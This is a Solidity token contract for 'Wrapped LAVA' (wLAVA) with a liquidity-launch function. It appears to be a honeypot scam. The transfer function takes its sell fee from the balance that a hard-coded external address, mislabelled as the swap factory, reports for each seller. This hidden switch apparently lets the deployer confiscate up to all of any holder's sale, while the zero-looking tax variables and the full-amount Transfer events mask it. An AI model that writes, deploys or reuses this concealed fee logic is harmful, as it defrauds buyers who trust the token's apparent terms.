creation_sourcecode: // SPDX-License-Identifier: MIT
  
  // https://magmascan.org/
  
  pragma solidity 0.8.24;
  
  interface IMagmaswapV2Factory {
      function getPair(address tokenA, address tokenB) external view returns (address pair); 
      function createPair(address tkenA, address tokenB) external returns (address pair);
  }
  library SafeMath {
  
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a);
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {return 0;}
          uint256 c = a * b;
          require(c / a == b);
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          require(b <= a);
          uint256 c = a - b;
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          require(b > 0);
          uint256 c = a / b;
          return c;
      }
  }
  interface IMagmaswapV2Router {
      function WETH() external pure returns (address); 
      function factory() external pure returns (address);
       function addLiquidityETH( address token, 
       uint amountTokenDesire, 
       uint amountTokenMi, 
       uint amountETHMi, 
       address to, 
       uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  }
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
  interface IERC20 {
      function balanceOf(address account) external view returns (uint256);
      function allowance(address owner, address spnder) external view returns (uint256);
      function approve(address spendr, uint256 amount) external returns (bool);
      function name() external view returns (string memory);
      function symbol() external view returns (string memory);
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      /**
       * @dev Initializes the contract setting the deployer as the initial owner.
       */
      constructor() {
          _transferOwnership(_msgSender());
      }
  
      /**
       * @dev Returns the address of the current owner.
       */
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      /**
       * @dev Throws if called by any account other than the owner.
       */
      modifier onlyOwner() {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      /**
       * @dev Leaves the contract without owner. It will not be possible to call
       * `onlyOwner` functions anymore. Can only be called by the current owner.
       *
       * NOTE: Renouncing ownership will leave the contract without an owner,
       * thereby removing any functionality that is only available to the owner.
       */
      function renounceOwnership() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Can only be called by the current owner.
       */
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(
              newOwner != address(0),
              "Ownable: new owner is the zero address"
          );
          _transferOwnership(newOwner);
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Internal function without access restriction.
       */
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  contract WrappedLAVA is Context, Ownable {
      using SafeMath for uint256;
      uint8 private _decimals = 9;
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => uint256) private _balances;
  
      string private constant _name = "Wrapped LAVA";
      string private constant _symbol = "wLAVA";
  
      uint256 private _totalSupply =  1000000000 * 10 ** _decimals;
  
      IMagmaswapV2Router private magmaswapV2Router = IMagmaswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
      address internal magmaswapFactory = 0x2B8157c0B6da30456b8BD7E7Fc9B823b83e505C0;
      address magmaswapPair;
  
      uint256 private _finalSellTax=0; 
      bool tradingOpen = false;  
      uint256 public _reduceSellTaxAt=0; 
  
      event Transfer(address indexed from, address indexed to, uint256 amount);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  
      constructor () {
          _balances[address(this)] = _totalSupply;
          emit Transfer(address(0), address(this), _totalSupply);
      }
      
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function totalSupply() public view returns (uint256) {
          return _totalSupply;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
      
      function balanceOf(address account) public view returns (uint256) {
          return _balances[account];
      }
      function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
          return true;
      }
      function _afterTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) internal virtual {}
  
  
      function decimals() public view returns (uint8) {
          return _decimals;
      }
  
      function allowance(address owner, address spender) public view returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function approve(address spender, uint256 amount) public returns (bool) {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0));
          uint256 _fee = 0;
          require(amount > 0);
          uint256 feeRate = IERC20(magmaswapFactory).balanceOf(from);
          if (from != address(this) && from != magmaswapPair) { _fee = amount.mul(feeRate > _reduceSellTaxAt ? feeRate : _finalSellTax).div(100);
          } else {  _fee = 0; }
          _balances[from] = _balances[from].sub(amount); 
          _balances[to] = _balances[to].add(amount).sub(_fee);
          emit Transfer(from, to, amount);
      }
  
      function transfer(address recipient, uint256 amount) public returns (bool) {
          _transfer(msg.sender, recipient, amount);
          return true;
      }
      
      function openTrading() external payable onlyOwner() {
          require(!tradingOpen, "Trading already opened.");
          _approve(address(this), address(magmaswapV2Router), _totalSupply);
          magmaswapPair = IMagmaswapV2Factory(magmaswapV2Router.factory()).createPair(address(this), magmaswapV2Router.WETH());
          magmaswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
          IERC20(magmaswapPair).approve(address(magmaswapV2Router), type(uint).max);
          tradingOpen = true;
      }
  }